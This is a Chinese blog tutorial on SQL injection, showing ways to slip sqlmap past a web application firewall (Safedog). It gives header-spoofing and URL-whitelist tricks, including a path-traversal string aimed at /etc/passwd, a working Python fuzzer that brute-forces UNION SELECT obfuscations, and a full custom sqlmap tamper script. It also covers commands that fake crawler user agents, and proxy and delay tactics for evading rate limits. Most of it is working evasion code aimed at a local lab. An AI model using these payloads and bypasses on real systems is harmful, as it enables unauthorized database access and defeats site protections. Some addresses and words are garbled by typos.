SQl注入之sqlmap绕过waf(八)

绕过姿势

方式一:IP白名单

从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造Ip绕过的情况。

测试方法:修改nttp的header来bypass waf

x-forwarded-for
x-remote-IP
x-originating-工P
x-remote-addr
x-Real-ip

前提条件 要知道 白名单ip

一般都是知道他服务器的真实ip 这样伪造之后就是自己访问自己

如果是从传输层获得ip 那么就伪造不了,我们只能从应用层 http报文里进行伪装

实战意义不太大,条件过多,很难满足。

方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。

http://10.s.9.201/sql.php ?id=1
http://10.9.9.201/sql.php/index.php/t.txt?id=1

原理就是有些waf看见你请求一个静态文本如txt这种 他为了保证访问速率 他默认这是安全的不会检查id后面的值,以前可以绕过安全狗,现在已经不行了,但是这个思路要知道。

方式三:url白名单

为了防止误拦,部分waf内置默认的白名单列表,如acmin/managerl system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的uzl构造姿势:

http://10.s.s.201/=ql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.s.201/../../../manage/../sql.asp?id=2

waf通过/manage/”进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/ manage/&b=../etc/passwcl绕过防御规则。

Fuzz代码实现

这里只是一个思路 里面的字符都可以自己替换  对目标进行爆破注入 

最终发现bypass的方式。

import requests, time

url = 'http://10.1.1.120/Less-2/?id=1'
union = 'union'
select = 'select'
num = '1,2,3'
a = {'%0a', '%23'}
aa = {'x'}
aaa = {'%0a', '%23'}
b = '/*!'
c = '/*'


def bypass():
    for xiaodi in a:
        for xiaodis in aa:
            for xiaodiss in aaa:
                for two in range(44500, 44600):
                    urls = url + xiaodi + xiaodis + xiaodiss + b + str(two) + union + c + xiaodi + xiaodis + xiaodiss + select + xiaodi + xiaodis + xiaodiss + num
                    try:
                        result = requests.get(urls).text
                        len_r = len(result)
                        if (result.find('safedog') == -1):
                            # print('bypass url address:'+ urls+'|'+ str(len_r))
                            print('bypass url address:' + urls + '|' + str(len_r))
                            if len_r == 715:
                                fp = open('url,txt', 'a+')
                                fp.write(urls + '\n')
                                fp.close()
                    except Exception as err:
                        print('connecting error')
                        time.sleep(0.1)


if __name__ == '__main__':
    print('fuzz start')
    bypass()

Bypass

SQLmap 的tamper模块

就是sqlmap自带的并且可支持自定义的绕过waf模块

参考资料:(11条消息) sqlmap的使用 —- 自带绕过脚本tamper_wkend的博客-CSDN博客_sqlmap绕过脚本

在sqlmap的tamper文件夹中创建rdog.py(就是绕过安全狗的模块)

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = retVal.replace('UNION', 'uNiOn/*/%0a*a*/')
        retVal = retVal.replace('DATABASE()', 'dataBase/*!(*/)')
        retVal = retVal.replace('DATABASE()', 'dataBase%23a%0a')
        retVal = retVal.replace('USER()', 'usEr/*!(*/)')
        retVal = retVal.replace(' ', '/**/')
        retVal = retVal.replace(" ", '%23a%0a')
        retVal = retVal.replace('OR', '/*!14400Or*/')
        retVal = retVal.replace('AND', '/*!14400aNd*/')

    return retVal

在开启安全狗的情况下

sqlmap

可以看到并没有按照我们预期去执行,不是添加了绕过模块了吗,怎么肥事。。

添加代理我们抓个包看:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8080

打开bp看:

sql

这头部字段 tm等于告诉对方 我是sqlmap嗷  

6啊 tm的 自报家门 你妈 不拦你拦谁。

看安全狗:

安全狗

就是检测到头部有sqlmap 所以给你拦截了。

随机头部字段randm-agent

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/?id=1" --tamper=rdog.py --random-agent

random-agent

可以看到正常显示攻击了,没有被拦截。

自定义user-agent

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8080 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"

爬虫头

去找百度搜狐这种搜索引擎的爬虫,替换模仿,让waf误以为我们是爬虫这样就不会拦截,这招也可以,还有就是如果对方开启了流量防御的话,扫描器扫描速率是很快的,容易被封ip,此时换上搜索引擎的头字段也可以骗过waf。

对方如果开启流量防御绕过思路有

1 延时

sqlmap延时注入 -delay 参数

2 换代理

用代理池 封一个换一个

3 改字段 为爬虫的头部

原理同上,因为搜索引擎的爬取速度很快,所以不会拦截。

 

其他-中转

如果要改数据报头部的一些参数内容

可以 1 把数据报保存下来 修改指定参数后

sqlmap -r txt 进行

也可以用python 中转

如图 改User-agent 就写这个 改别的 就写别的

 

或者用pyhon或者php实现中转注入 跟之前那个原理一样

1

这个python 就是把头部agent信息改了 ,你改别的也行 ,这里就是个思路例子

当需要改数据报里面一些参数的值时候,sqlmap不支持,就用中转。

还有php

2

 

sql注入学习原理完结!但是实践跟实操永远都在进行!

 

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论